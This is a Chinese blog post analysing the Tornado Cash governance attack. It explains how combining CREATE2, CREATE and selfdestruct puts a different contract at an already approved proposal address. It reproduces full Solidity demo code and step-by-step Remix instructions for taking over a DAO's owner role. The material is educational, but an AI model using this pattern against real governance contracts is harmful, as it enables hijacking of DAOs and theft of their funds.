解析Tornado治理攻击:如何同一个地址上部署不同的合约

    大概两周前(5月20日),知名混币协议TornadoCash遭受到治理攻击,黑客获取到了TornadoCash的治理合约的控制权(Owner)。攻击过程是这样的:攻击者先提交了一个“看起来正常”的提案,待提案通过之后,销毁了提案要执行的合约地址,并在该地址上重新创建了一个攻击合约。攻击过程可以查看SharkTeam的Tornado.Cash提案攻击原理分析[1]。这里攻击的关键是在同一个地址上部署了不同的合约,这是如何实现的呢?

    背景知识EVM中有两个操作码用来创建合约:CREATE与CREATE2。CREATE操作码当使用newToken()使用的是CREATE操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(senderAddress,nonce))创建的合约地址是通过创建者地址+创建者Nonce(创建合约的数量)来确定的,由于Nonce总是逐步递增的,当Nonce增加时,创建的合约地址总是是不同的。CREATE2操作码当添加一个salt时newToken{salt:bytes32()}(),则使用的是CREATE2操作码,创建的合约地址计算函数为:addresstokenAddr=bytes20(keccak256(0xFF,senderAddress,salt,bytecode))创建的合约地址是创建者地址+自定义的盐+要部署的智能合约的字节码,因此只有相同字节码和使用相同的盐值,才可以部署到同一个合约地址上。那么如何才能在同一地址如何部署不用的合约?

    攻击手段攻击者结合使用Create2和Create来创建合约,如图:代码参考自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address/先用Create2部署一个合约Deployer,在Deployer使用Create创建目标合约Proposal(用于提案使用)。Deployer和Proposal合约中均有自毁实现(selfdestruct)。在提案通过后,攻击者把Deployer和Proposal合约销毁,然后重新用相同的slat创建Deployer,Deployer字节码不变,slat也相同,因此会得到一个和之前相同的Deployer合约地址,但此时Deployer合约的状态被清空了,nonce从0开始,因此可以使用该nonce创建另一个合约Attack。攻击代码示例此代码来自:https://solidity-by-example.org/hacks/deploy-different-contracts-same-address///SPDX-License-Identifier:MITpragmasolidity^0.8.17;contractDAO{  structProposal{    addresstarget;    boolapproved;    boolexecuted;  }  addresspublicowner=msg.sender;  Proposal[]publicproposals;  functionapprove(addresstarget)external{    require(msg.sender==owner,"notauthorized");    proposals.push(Proposal({target:target,approved:true,executed:false}));  }  functionexecute(uint256proposalId)externalpayable{    Proposalstorageproposal=proposals[proposalId];    require(proposal.approved,"notapproved");    require(!proposal.executed,"executed");    proposal.executed=true;    (boolok,)=proposal.target.delegatecall(      abi.encodeWithSignature("executeProposal()")    );    require(ok,"delegatecallfailed");  }}contractProposal{  eventLog(stringmessage);  functionexecuteProposal()external{    emitLog("ExcutedcodeapprovedbyDAO");  }  functionemergencyStop()external{    selfdestruct(payable(address(0)));  }}contractAttack{  eventLog(stringmessage);  addresspublicowner;  functionexecuteProposal()external{    emitLog("ExcutedcodenotapprovedbyDAO:)");    //Forexample-setDAO'sownertoattacker    owner=msg.sender;  }}contractDeployerDeployer{  eventLog(addressaddr);  functiondeploy()external{    bytes32salt=keccak256(abi.encode(uint(123)));    addressaddr=address(newDeployer{salt:salt}());    emitLog(addr);  }}contractDeployer{  eventLog(addressaddr);  functiondeployProposal()external{    addressaddr=address(newProposal());    emitLog(addr);  }  functiondeployAttack()external{    addressaddr=address(newAttack());    emitLog(addr);  }  functionkill()external{    selfdestruct(payable(address(0)));  }}大家可以使用该代码自己在Remix中演练一下。

    首先部署DeployerDeployer,调用DeployerDeployer.deploy()部署Deployer,然后调用Deployer.deployProposal()部署Proposal。拿到Proposal提案合约地址后,向DAO发起提案。分别调用Deployer.kill和Proposal.emergencyStop销毁掉Deployer和Proposal再次调用DeployerDeployer.deploy()部署Deployer,调用Deployer.deployAttack()部署Attack,Attack将和之前的Proposal一致。执行DAO.execute时,攻击完成获取到了DAO的Owner权限。

Pixel Artist Pixel Artist
Happy Kittens Puzzle Happy Kittens Puzzle
Penguin Cafe Penguin Cafe
Animal Connection Animal Connection
Snakes N Ladders Snakes N Ladders
Pixel Skate Pixel Skate
BeeLine BeeLine
Draw Parking Draw Parking
Draw Racing Draw Racing
Soccer Balls Soccer Balls
Happy Fishing Happy Fishing
Crashy Cat Crashy Cat

FREE GAMES FOR KIDS ONLINE